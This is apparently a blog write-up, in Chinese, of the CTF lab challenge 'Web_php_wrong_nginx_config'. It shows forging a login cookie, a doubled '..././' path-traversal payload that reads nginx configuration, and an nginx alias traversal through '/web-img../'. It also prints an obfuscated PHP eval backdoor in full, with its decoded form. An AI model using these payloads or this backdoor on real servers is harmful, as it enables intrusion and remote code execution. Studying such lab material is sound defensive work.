当前位置: 首页 > article >正文

2025.2.1——八、Web_php_wrong_nginx_config

题目来源:攻防世界  Web_php_wrong_nginx_config

目录

一、打开靶机,整理信息

二、解题思路

step 1:找找解题入口

step 2:抓包修改信息,得到配置文件

step 3:找到突破口,进行文件遍历

step 4:继续看配置信息

三、小结


一、打开靶机,整理信息

        有登录入口,怀疑注入,但是根据题目名称,跟php代码、nginx服务器有关,题目翻译则为Nginx针对PHP的配置错误问题

二、解题思路

step 1:找找解题入口

        用admin登陆,但是显示建设中,问题不在这

        目录扫描试试

        robots.txt很可疑,有可能有新信息

进去看看

        Hack.php又回到了登陆页面

        所以突破口在配置上,看了大佬的wp,发现需要抓包修改信息

step 2:抓包修改信息,得到配置文件

将isLogin改为1,这是判断我们是否登录的凭证,修改以后放包

        可以看到界面变了。前面提示与配置有关,点管理中心进去看看(现在仍为抓包状态),因为抓包放包得到的是临时cookie,所以第二次放包仍然要修改isLogin=1,然后放包,可以抓到新的包,发现url有改变

        目前为:/admin/admin.php?file=index&ext=php

        这里出现了file,多半有文件包含,所以测试一下,用i../ndex,发现无变化

        用i./ndex

        说明过滤了../

        所以考虑使用..././来绕过,构造payload(我是真没看懂)

/admin/admin.php?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext= 

通过学习知道,这里用的是双写绕过,我还以为../和./新方式的穿越


头一天晚上没搞出来,第二天继续做,所以出现url不一致的情况,步骤都是一样的


得到一堆参数,也就是配置文件(前一天晚上,一直在Repeater上修改信息,但是始终得不到参数,第二天是在网页url上传参,然后抓包,将cookie登录信息修改为1,成功得到参数)

整理一下,

server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

我又看不懂了。。。继续看大佬的wp进行学习,得知这里有问题

        这个地方可以进行文件遍历

step 3:找到突破口,进行文件遍历

        直接访问/web-img/

(终于出现了,昨天晚上连这个都不出现,感觉是有玄学在的)

        使用/web-img../ 进行遍历

      配置文件最后提示的路径

然后找我们需要的东西,传参/web-img../var/www/

        这里看到了hack.php.bak,是hack.php的备份文件,打开下载查看信息

step 4:继续看配置信息

        整理得到

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

        仍旧看不懂,看看能输出什么东西,输出$f,得到

$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$SESSION;
$ss="substr";
$sl="strtolower";
$i=$m1.$m1;
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m2];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

        提示得这里是个后门,网络上有利用脚本一个PHP混淆后门的分析 - 碉堡了 - 博客园,然后按照提示修改脚本中的config部分,然后保存运行,执行php的代码

        使用 system("ls") ; 查看当前目录;查看 fllla4aggg.php,命令 system("cat fllla4aggg.php"); 得到flag

        到运行脚本那一步,包含多层混淆等等,我卡住了,我的虚拟机也要重新配置,所以卡住了又,并且脚本好复杂,我也是看不懂。。。

这里贴上我学习的wp

攻防世界web Web_php_wrong_nginx_config - zhangzhijie98 - 博客园

xctf攻防世界 Web高手进阶区 Web_php_wrong_nginx_config_xctf web admin-CSDN博客

三、小结

1.这道题的难度对我来说还是太高,这里总结我学到的东西

2.无法登陆页面时,可以通过抓包修改cookie,然后放包登陆

3.要学习配置文件的代码审计

4.后半部分都是要学习的部分


http://www.kler.cn/a/530254.html

相关文章:

  • C#面试常考随笔11:Dictionary<K, V>、Hashtable的内部实现原理是什么?效率如何?
  • Kafka下载
  • 使用HttpClient和HttpRequest发送HTTP请求
  • 解锁豆瓣高清海报(二) 使用 OpenCV 拼接和压缩
  • Pyecharts之图表样式深度定制
  • Windows11 不依赖docker搭建 deepseek-R1 1.5B版本(附 Open WebUi搭建方式)
  • 【大模型专栏—基础篇】智能体入门
  • TypeScript语言的语法糖
  • 硕成C语言3
  • 基于Java的林业盗砍盗伐监测算法研究与实现——读取Shp文件并比较
  • 韩语字符分析
  • 你需要更深层次的解放
  • 队列—学习
  • 基于RAG的知识库问答系统
  • DedeBIZ资源系统源码 高仿XDGAME模板源码
  • 流处理 CompletableFuture
  • 马铃薯叶子病害检测数据集VOC+YOLO格式1332张9类别
  • 基于SpringBoot的青年公寓服务平台的设计与实现(源码+SQL脚本+LW+部署讲解等)
  • Flutter Raw Image Provider
  • Python 中 `finally` 的执行时机与 `return` 的微妙关系
  • SD存储卡功能特性解析
  • 【C++语言】卡码网语言基础课系列----11. 句子缩写
  • DeepSeek让英伟达狂跌三年?
  • openEuler系统磁盘管理方法
  • Ubuntu 下 nginx-1.24.0 源码分析 - ngx_strerror_init()函数
  • OpenAI发布o3-mini:免费推理模型,DeepSeek引发的反思